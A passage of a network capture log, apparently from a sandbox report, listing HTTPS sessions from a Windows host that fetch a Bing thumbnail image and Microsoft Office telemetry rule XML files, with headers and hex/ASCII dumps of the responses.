2024-11-26 15:31:20 UTC	16065	IN	Data Raw: 5b 4a 9b 72 4e d6 32 55 12 83 57 39 5d 1d db 52 be bb b7 d4 27 8d 61 b8 da a8 ef fc 1b 3e ef 4f 5a c7 f0 ae 9c 91 78 c7 50 be 9b fd 23 ca 7d b0 ef dc ca 98 ff 00 0a de 92 df 4c 58 11 5a 7f 2a e1 51 99 f7 bd 67 c9 77 a6 c9 1c d0 d9 f9 ed 1a a7 c8 fb 3e fb 3d 6e 96 fe 66 12 6a ea dd 0e 7e f2 4d 5f 51 f1 33 e9 f0 cf 1b 46 ae bb dd d3 ca ae ca 1d 32 e6 08 2d 26 be f2 22 dc 9b 53 67 dd 75 ae 7d 66 8d ff 00 d3 2f 23 db 34 49 b7 ce 44 66 e9 d9 eb 4e fb 5b 97 56 df 75 fb b8 a1 89 23 54 47 dc ab f7 73 ff 00 7c d5 cf de 68 ce 16 85 fb 99 1e 24 37 29 24 d0 db da 40 ab 17 97 f3 bb ee 67 f9 7b 8a e5 f5 c8 e2 ba b5 9a 1f 2f f7 2d f7 3f 8a ba eb cb 7b 99 6d 7e d5 7d 27 cc e9 bb f7 3f dd da 76 7c bf ad 71 b7 17 b7 d1 69 af 71 34 70 32 ab ed d9 b3 6f cb 5e 9e 06 b4 9c b9 Data Ascii: [JrN2UW9]R'a>OZxP#}LXZ*Qgw>=nfj~M_Q3F2-&"Sgu}f/#4IDfN[Vu#TGs\|h$7)$@g{/-?{m~}'?v\|qiq4p2o^
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: b9 b5 ba b7 b1 d4 2c 20 b0 f2 b7 2c 30 c3 fb df 3b fd af 37 f8 eb d5 b4 5f 87 be 2a d6 74 09 bc 41 fd b3 f6 38 ee a6 91 52 df ec ac ad 0e c6 c6 ed df dd f4 e2 b8 bf 8f 5e 0d 8b 47 f1 06 9f 37 97 f6 7d 36 f1 3c b9 66 8a 7d db e6 ea cf fe cb 56 ca a4 6a d5 57 96 be 86 33 c3 ba 14 34 8f 5e fa 7d da 9c c7 c3 3f 1f 47 e1 7d fa 6d c4 fb a1 47 fd d6 f7 f9 76 ff 00 76 be 85 f0 5d f7 f6 8e 87 0d e5 bc fb a1 97 e6 4d 8f bb 65 7c db ae 78 6f c1 d3 4f 19 b7 b3 ba dd 6d ff 00 1f 36 f6 f3 7d f5 ff 00 69 9b f8 bd 6b 43 c2 7e 22 f1 1f 86 f4 05 6d 16 d2 fa 4b 1b 89 5b e4 ff 00 5a c8 c9 f2 fc d8 fb b5 cf 8e c0 42 a5 a7 49 3e 6e bd 0d b0 38 ea b4 9b 85 4b 38 f4 b5 df e8 7d 3c ba ac f6 fe 76 d9 e3 55 67 f2 9d 2b 5b 4f 95 db e6 9a d2 36 59 5f f8 1e b2 7e 1f e9 99 f0 ad a5 e6 Data Ascii: , ,0;7_*tA8R^G7}6<f}VjW34^}?G}mGvv]Me\|xoOm6}ikC~"mK[ZBI>n8K8}<vUg+[O6Y_~
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: 7e d7 3f 96 cf f7 1e a8 a8 f2 bf d1 da 79 25 df fe c7 ca 9f 46 ad 69 e0 e4 b5 72 d4 ca b6 69 4e 7a 25 64 1a d4 1a 64 12 43 35 9d df da 15 bf e5 8a 27 dc a8 75 07 dd 24 31 db cf ba 1f ba 89 f7 7f 3a 8d ad e5 48 de 3f df ff 00 be 89 b5 53 f1 ac d6 b8 89 b5 54 b7 bc bb 81 19 bf 81 2b ba 34 65 6d ee 79 b3 c5 d3 d5 e8 ae 6a df 48 de 62 2f ee d9 7f e9 8d 4f a6 db af ce cd 27 9b 27 dd f2 7e b5 5e 48 e0 b8 91 d6 d6 49 2e 19 61 fb e9 f2 ae ea b9 e1 f7 64 b1 7d b1 da f9 92 fc ae 93 3e d6 4c 77 5a ca 69 a8 e8 8e 8a 73 a7 cc ae ca 7e 26 b0 8a df 4d 46 f2 e7 8a 46 7f 91 1f ee d5 ed 3f c3 52 e8 da 3a 5f 5f 46 ed 25 c4 df 7e 1f f9 62 be 9f ed 55 a6 b2 5b cb 1f 96 fe 4b cf b2 cc ac e9 fc 49 5a 57 d7 77 d2 d8 cd 24 33 c9 e5 c5 ba 2f 27 fd aa e6 95 5a 89 28 26 75 47 0f 4e Data Ascii: ~?y%FiriNz%ddC5'u$1:H?ST+4emyjHb/O''~^HI.ad}>LwZis~&MFF?R:__F%~bU[KIZWw$3/'Z(&uGN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49734	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:20 UTC	346	OUT	GET /th?id=OADD2.10239360298760_1IGUAAO0S19XMZR4M&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 528761 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2590C224C1814CBCBC8EEC11B2DBE4F4 Ref B: EWR30EDGE0317 Ref C: 2024-11-26T15:31:20Z Date: Tue, 26 Nov 2024 15:31:19 GMT Connection: close
2024-11-26 15:31:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 01 28 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 04 38 00 00 01 01 00 03 00 00 00 01 07 80 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d4 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 00 00 00 08 00 08 00 08 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 34 20 32 32 Data Ascii: JFIFHH(ExifMM*8(12i``Adobe Photoshop 24.4 (Windows)2023:05:14 22
2024-11-26 15:31:21 UTC	16384	IN	Data Raw: 23 fc ab 73 8f e2 5a f4 89 f4 d9 17 fd 64 75 f5 d1 74 e6 93 5b 1f 9b ce 52 8c 9c 65 a3 46 3a a4 4b 4c 53 b6 b5 e4 b2 fd dd 43 f6 3d b1 fc d1 d5 34 25 51 94 58 ee 8e a1 90 6d fb b5 7e 4b 7f ee fd ea ac d1 b2 fd ea 97 1d 0b 8d 5d 4a ac 33 48 b1 d5 89 23 fe 2a 14 6e ac 5c 4e c8 d5 b2 19 0c 7f bc f9 6a da c1 fc 54 42 60 8a 3f f6 aa 68 6e 22 67 4a ae 46 42 c4 21 6c 76 fd e9 a3 ab bf b8 6f f9 67 56 1a 3b 67 82 a8 5c 22 c5 f7 7e 5a cf 91 dc d5 57 f3 25 92 08 bc cf 96 ab cd 6c b4 2c e9 e6 7c d5 7a d4 ee fb b5 0e 9d 8a 86 29 5b 73 39 6d 59 6a 7b 78 b6 d6 d5 9d aa bf de ab df d8 d0 79 7b bc cf 9a b3 70 66 bf 5a 46 0c 69 56 21 8d 9a ae 35 83 27 de a9 6d e2 d9 57 18 e8 73 4e bd c8 23 b3 df 56 23 b1 7f f9 e7 ba ac 47 57 a3 93 64 7b a9 b5 63 2f 6c 64 49 61 2f fc f3 a4 Data Ascii: #sZdut[ReF:KLSC=4%QXm~K]J3H#*n\NjTB`?hn"gJFB!lvogV;g\"~ZW%l,\|z)[s9mYj{xy{pfZFiV!5'mWsN#V#GWd{c/ldIa/
2024-11-26 15:31:21 UTC	16384	IN	Data Raw: dc 93 dc b5 f3 ac d0 7c b2 fd fd 95 db e9 fe 1a 64 d1 b7 5b cf f7 be fa 4c 9f 71 ab 95 d5 2d 35 08 ae 9d 7c b8 d6 e1 7e 5f 9f ee d4 61 2a 3f 87 a1 38 ca 76 69 fe 44 7a 0b fd 9f 55 78 e3 fd d6 ef 9b e7 f6 ad 69 04 73 c8 97 1f 75 ad d1 59 eb 94 d3 6e 75 0d 47 52 78 64 b4 fd e4 5f 2e f4 fb af 5d 8f 87 ec fc db 5b e6 68 e4 da b6 ff 00 3f fd f5 5d f2 9d 99 cb 47 de 8b ec 2f 82 47 f6 8d f4 d6 ab 77 e5 49 2a 33 43 fd dd bf dd ae 73 49 b6 d4 3c 33 e2 ab bb 15 f9 57 7f 9b e4 bd 37 4d bf 6d 1b c4 d6 97 5e 66 e5 57 f9 ff 00 1a f4 0f 88 10 41 7f f6 7d 4a df e6 91 a1 fe 0a e2 c4 49 d3 93 8b d9 9d f8 5a 70 ab 18 d4 5f 12 34 96 f1 75 6f 01 dc 34 7e 5f 98 d6 ec b3 25 79 4f d9 d5 3f 76 df 76 b7 34 fb d9 ed e0 b8 b5 f3 f6 ab 7c c8 9f ed 56 2d e4 df bc f9 7e f3 57 3d 28 b8 Data Ascii: \|d[Lq-5\|~_a?8viDzUxisuYnuGRxd_.][h?]G/GwI3CsI<3W7Mm^fWA}JIZp_4uo4~_%yO?vv4\|V-~W=(
2024-11-26 15:31:21 UTC	16384	IN	Data Raw: 12 43 3c 8d fe b2 3d 95 61 46 ea 86 3d df c5 f3 54 8a f5 2d 16 87 6d f6 a7 a8 a4 df ba 91 4d 45 87 ca 4b f7 68 a8 d5 e8 92 46 58 e9 24 50 ef 99 7e 6a 46 b8 54 fb d5 04 33 cb e6 7c d5 27 98 df f3 cd 29 72 f7 00 5b 9d f2 7e ee 3a 95 a4 64 a6 47 2a f9 9b 9a 3d b5 3c 6f 13 c7 8a 96 51 13 4a cd f7 aa ad c5 9d ac ff 00 eb 12 3f 9a af b4 48 d4 d5 81 56 4a 71 95 90 68 73 ba b7 87 f4 ab a8 f6 b7 ee bf dc 4a c4 d4 3c 0f 68 bf bc b5 bb 93 fe 07 5d fa c4 bf f4 cd a9 ed 6f 1c b1 fd c8 fe 6a b5 59 a2 92 3c a5 bc 29 b7 e5 f3 f7 b5 51 b8 f0 c5 f2 c9 b6 df e6 af 60 fe c7 b4 6f 99 a3 a7 7f 65 db 37 dd f9 5a 9f d6 52 2e c7 8a cd a1 6a a9 1e df b2 6e 6a a1 75 6f 7f 6b f7 ad e4 ff 00 6f e4 af 6c be f0 fb dc 49 ff 00 1f f2 2a ff 00 b9 55 26 f0 92 3c 7f f1 f7 23 56 8b 15 02 5c Data Ascii: C<=aF=T-mMEKhFX$P~jFT3\|')r[~:dG=<oQJ?HVJqhsJ<h]ojY<)Q`oe7ZR.jnjuokolIU&<#V\
2024-11-26 15:31:21 UTC	16384	IN	Data Raw: 9a 32 2f 09 c7 73 a6 df 4d 67 e6 7d a2 cf fd 6c 30 bf de 4c af 6a d9 ba 93 ed 09 b6 df e7 5f e0 df f7 6b 16 c6 39 5e c7 e5 92 48 ae 22 4d d0 ff 00 b7 fe cd 49 a2 de 44 f6 ac de 64 9b ae 3f 8d 3e f7 fc 09 6b 1b cb 75 b1 d0 e8 dd e9 ba 27 87 48 9e 79 dd 56 3f 95 53 f8 eb 06 e2 2b 9d 27 52 9b ed 11 f9 b6 f2 fc bb df e6 df fe cb 56 da ea 92 d9 cf e4 dc 3c 6d 62 df 2b bf fc f1 cf 7a 87 5a d2 e4 9e c7 6d ac fe 56 ef 99 1d d3 72 bd 2f 68 ad 61 45 b7 2f 78 77 86 5d ae ac 61 b7 87 fd 62 bf cf 0b fc de 74 7f 5f ef 56 c4 29 3a ff 00 a2 c9 1e e8 d9 fe 47 fe 2a f3 ef 0b dc 5c d9 78 82 1b 7b a9 3e 55 9b e7 d9 fc 1f fd 8d 7a 6f 88 12 db 51 b5 85 7e d7 b6 48 be e5 c2 7f 7a bd 1c 1d 6f e6 67 16 3a 93 d1 c7 66 63 78 ab c3 6d 75 62 f2 5b c9 ba e2 24 f9 37 fc bf 85 61 f8 6e Data Ascii: 2/sMg}l0Lj_k9^H"MIDd?>ku'HyV?S+'RV<mb+zZmVr/haE/xw]abt_V):G*\x{>UzoQ~Hzog:fcxmub[$7an
2024-11-26 15:31:21 UTC	16384	IN	Data Raw: e5 ac bb 7b 48 a7 f9 99 36 b2 7d fa f4 3d 4b 5a 8d e4 fe cf be b7 8d 77 26 e7 47 ac db ef 0d d8 dc 40 f7 9a 5c 9b 5b 67 dc f3 3e 5a ed a7 8a b2 51 9a b1 cb 2a 4b 59 41 dc c0 92 28 bf b2 bf b3 fc c9 15 6e 3e 64 ff 00 61 ab 95 8f 4a b9 82 f9 e3 f3 3f 79 bf e4 ae aa 14 9e de eb cb 9b cc 56 5f 9b e7 ab bf 65 82 ea d7 ce 8f fd 76 ff 00 e3 ae 95 57 97 62 6d 1a 8d 5f 46 71 13 1b 9b 5d f2 47 1e d9 3f 8f 65 5d d3 75 bf 3f 4d f2 e6 fb df c7 b3 ef 25 5e be d3 2e 65 b8 9a 4f b2 48 b1 ec fe 3f ba 8d 58 77 56 6b 04 9f f3 ca 6f f9 e2 ff 00 77 f3 ae bf 72 a4 6e b7 39 79 1c 27 69 6c 69 da fe ea f9 1a 3f 97 6f df 4f f6 6b 7e ea 2d 37 52 b1 fd f7 ca ca 9b bc e4 f9 ab 0f fb 31 ef 3c e9 a3 93 e6 54 fb e9 57 34 1b d6 b2 8f cb f2 e3 f9 be 5d f5 84 d7 54 f5 3a e9 c2 de 8c c6 bc Data Ascii: {H6}=KZw&G@\[g>ZQ*KYA(n>daJ?yV_evWbm_Fq]G?e]u?M%^.eOH?XwVkowrn9y'ili?oOk~-7R1<TW4]T:
2024-11-26 15:31:21 UTC	16384	IN	Data Raw: 4b e3 77 5d d1 e9 3f da 13 a6 f8 e6 fb bf c1 55 6e 2e 37 7c de 67 cd bf ef ff 00 72 b8 9d 4b c7 b2 de 69 4f 1d 9c 1e 55 c7 f7 d3 e6 5a d2 f0 7e a9 f6 fd 2b 6d d4 91 ad c6 ff 00 91 13 ef 6e ac a5 4d a3 78 e3 a1 39 59 1e a5 e1 bb dc c9 63 25 e4 9b 95 5f ca 4f c5 6a fc 93 c0 f7 4f 67 0c f1 f9 6a fb 93 fd ea e1 7c 37 7f 2c 5a af 93 24 ff 00 b9 6f 99 d3 e9 5a 7b fc cf 3b 77 cb 26 cd c8 ff 00 df c5 66 b4 3a 39 94 99 9f e3 ef 00 69 b7 7a a2 ea 70 ff 00 a0 6a 1b f7 45 2d bf ca b3 37 fb 55 97 1c 6a 90 7d 9e f2 ed 3c c9 77 2a 7f 0c b5 d0 6a 1a a5 f2 5a c5 e6 47 e6 ae ff 00 f5 db ff 00 86 b9 df 88 1a 44 1e 27 92 d7 51 87 cc b2 d4 2c 5b 97 4a eb a7 2b a5 73 83 10 94 6e e3 1d 59 76 1f 0e 7d 96 c5 ee 16 7f 35 7e f4 df de db ea 29 ec 22 96 35 92 3f 9b fd cf ee d6 b7 85 Data Ascii: Kw]?Un.7\|grKiOUZ~+mnMx9Yc%_OjOgj\|7,Z$oZ{;w&f:9izpjE-7Uj}<w*jZGD'Q,[J+snYv}5~)"5?
2024-11-26 15:31:21 UTC	16065	IN	Data Raw: 69 29 2f d9 dd 56 3f bc ff 00 72 af ec b3 82 d3 76 a5 27 fb 49 0d 56 5f 36 ce 34 8e d6 4d ca a9 f7 ff 00 8a aa fd 8e e6 7b 84 db 1e e5 6f bf 53 08 dd 84 f5 45 88 65 df 22 7e ef 6a b6 e6 48 6b 73 4d 5d d0 23 35 66 c3 6f 04 12 6d 92 4d cc b5 ab 6f 72 be 5a 33 7d d5 fe e5 54 bb 91 b1 d7 e8 a9 e5 47 0b 49 fd ca d0 be db f6 17 dd f3 ee ac fb 19 ff 00 d0 61 6f e2 ab 50 9f 36 3d a7 e6 5a da 36 b7 2a 39 67 a9 87 ac 5b c4 b0 37 ee ff 00 77 f7 b6 25 66 e9 e1 92 68 9a 18 f7 47 b1 be 7a e8 f5 e4 5f 2d 19 7e eb 7c af f8 d7 3d a6 fc df bb fb bb 5f 6f fc 06 b9 ea 47 96 56 2e 32 bc 4c 3f 17 32 b4 fe 74 7e 66 e8 9d 55 ff 00 1a bd a6 cf 2d ee 87 0f 98 9e 6b 2e ed fb 3f ba 2b 3f e2 60 96 2b ad d6 3f 33 6c db 32 27 f1 ad 3b c0 7a fc 57 1a 1f d8 63 f9 26 b7 f9 5f 7f de 7f 7a Data Ascii: i)/V?rv'IV_64M{oSEe"~jHksM]#5fomMorZ3}TGIaoP6=Z6*9g[7w%fhGz_-~\|=_oGV.2L?2t~fU-k.?+?`+?3l2';zWc&_z
2024-11-26 15:31:21 UTC	16384	IN	Data Raw: 0e b1 2c 56 ab 1b 6a 5b 95 7f be 9b a8 71 e5 f8 4e cc 2b fa c5 3f de 3f b8 c3 87 44 f1 2c bb a1 5b 49 e2 85 be 57 74 ad 1f 08 e8 b3 d8 6b 0f 25 d4 9f b9 89 3e 7d 95 bf 71 ab db 48 9f f2 12 dd 26 cd a9 fc 35 1e 8f 05 f3 e9 53 2d f7 96 db b7 7d f7 a8 94 9b d0 eb a3 46 95 39 39 47 56 93 0f 0e f8 8e 27 d4 ae 2d 6e 3e 55 89 3e 47 ff 00 66 ba dd 15 e7 b6 d1 e6 b5 ba f9 63 fe 07 fe fa 9a f1 78 6f 8e 99 e2 65 99 64 dd 1a cb b5 eb dc 61 b8 82 eb 4d 86 66 f9 55 51 76 3f f0 ed ae 1c 45 37 16 bc f5 3b b0 18 85 5a 93 6d ea b4 66 2d f5 cf d8 a6 dd e7 c9 f2 fc db 3f bf 5a 5a 2a 32 49 f6 88 d3 6f 9b f3 6c 7a c6 f1 54 3e 47 93 71 0f f0 bf dc fa d6 ff 00 82 ee da e3 c3 f0 b5 c7 c9 34 49 5c b3 5a 1d 54 6c e6 d3 21 90 ac 13 f9 91 fc d0 bd 69 d8 df b5 be c6 5f 99 7e f2 25 2d Data Ascii: ,Vj[qN+??D,[IWtk%>}qH&5S-}F99GV'-n>U>GfcxoedaMfUQv?E7;Zmf-?ZZ*2IolzT>Gq4I\ZTl!i_~%-
2024-11-26 15:31:21 UTC	16384	IN	Data Raw: c2 53 e5 92 d4 ea 8d 3e 68 91 ea 41 ae 2e b7 4d fb af ee 54 da 7c b1 3b a2 c9 e5 b6 d5 db bf fb f4 cd 42 f7 ed 97 5f 63 8e d3 e6 54 dd bf ee d6 3e a5 26 c9 2d d5 64 db e6 fc bf ee 57 5d 3a 97 39 65 1b 3d 0d f9 a0 81 64 f9 7e 65 fb a8 e9 59 7a e5 b5 d3 c9 b6 de ee 3f 2f 67 dc 7f 9a 9c d7 90 45 1a 47 34 fb bc a7 56 a7 5b dd db 4f bf 6f ca df ee 56 ca 47 3c a3 b9 e6 df 11 3c 13 f6 fd fa a6 9f 04 71 5e 27 fa e8 53 ee cd ff 00 d9 57 9c 59 da 5c ad d7 98 d1 ed 65 dc bf ee 57 d1 8d 3c 0b 03 ee f2 d9 97 fb 9f 7a b9 3f 16 78 5f 4f d7 24 fb 65 9f 99 67 79 f7 66 ff 00 6e ba 2e 70 54 c3 de 57 89 e5 f6 f0 fe f3 f7 7f df ad 0b 54 6f 31 e6 f3 3e 5f bb 4d d6 b4 bb cd 16 49 a1 9b cc dd fc 0e 9f dd aa 76 6f e6 fe ee 68 e4 56 6f ee 25 23 1b 58 d6 9a e3 c8 b1 6d d1 c6 ad fc Data Ascii: S>hA.MT\|;B_cT>&-dW]:9e=d~eYz?/gEG4V[OoVG<<q^'SWY\eW<z?x_O$egyfn.pTWTo1>_MIvohVo%#Xm

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153120Z-174f7845968zgtf6hC1EWRqd8s0000000nkg00000000duax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:20 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:20 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:20 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: 6584919e-f01e-0003-06a3-3f4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153120Z-174f78459685m244hC1EWRgp2c0000000veg00000000e4bx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:20 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153121Z-174f7845968g6hv8hC1EWR1v2n00000003k000000000bre1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153121Z-174f7845968j6t2phC1EWRcfe80000000vu0000000009a24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
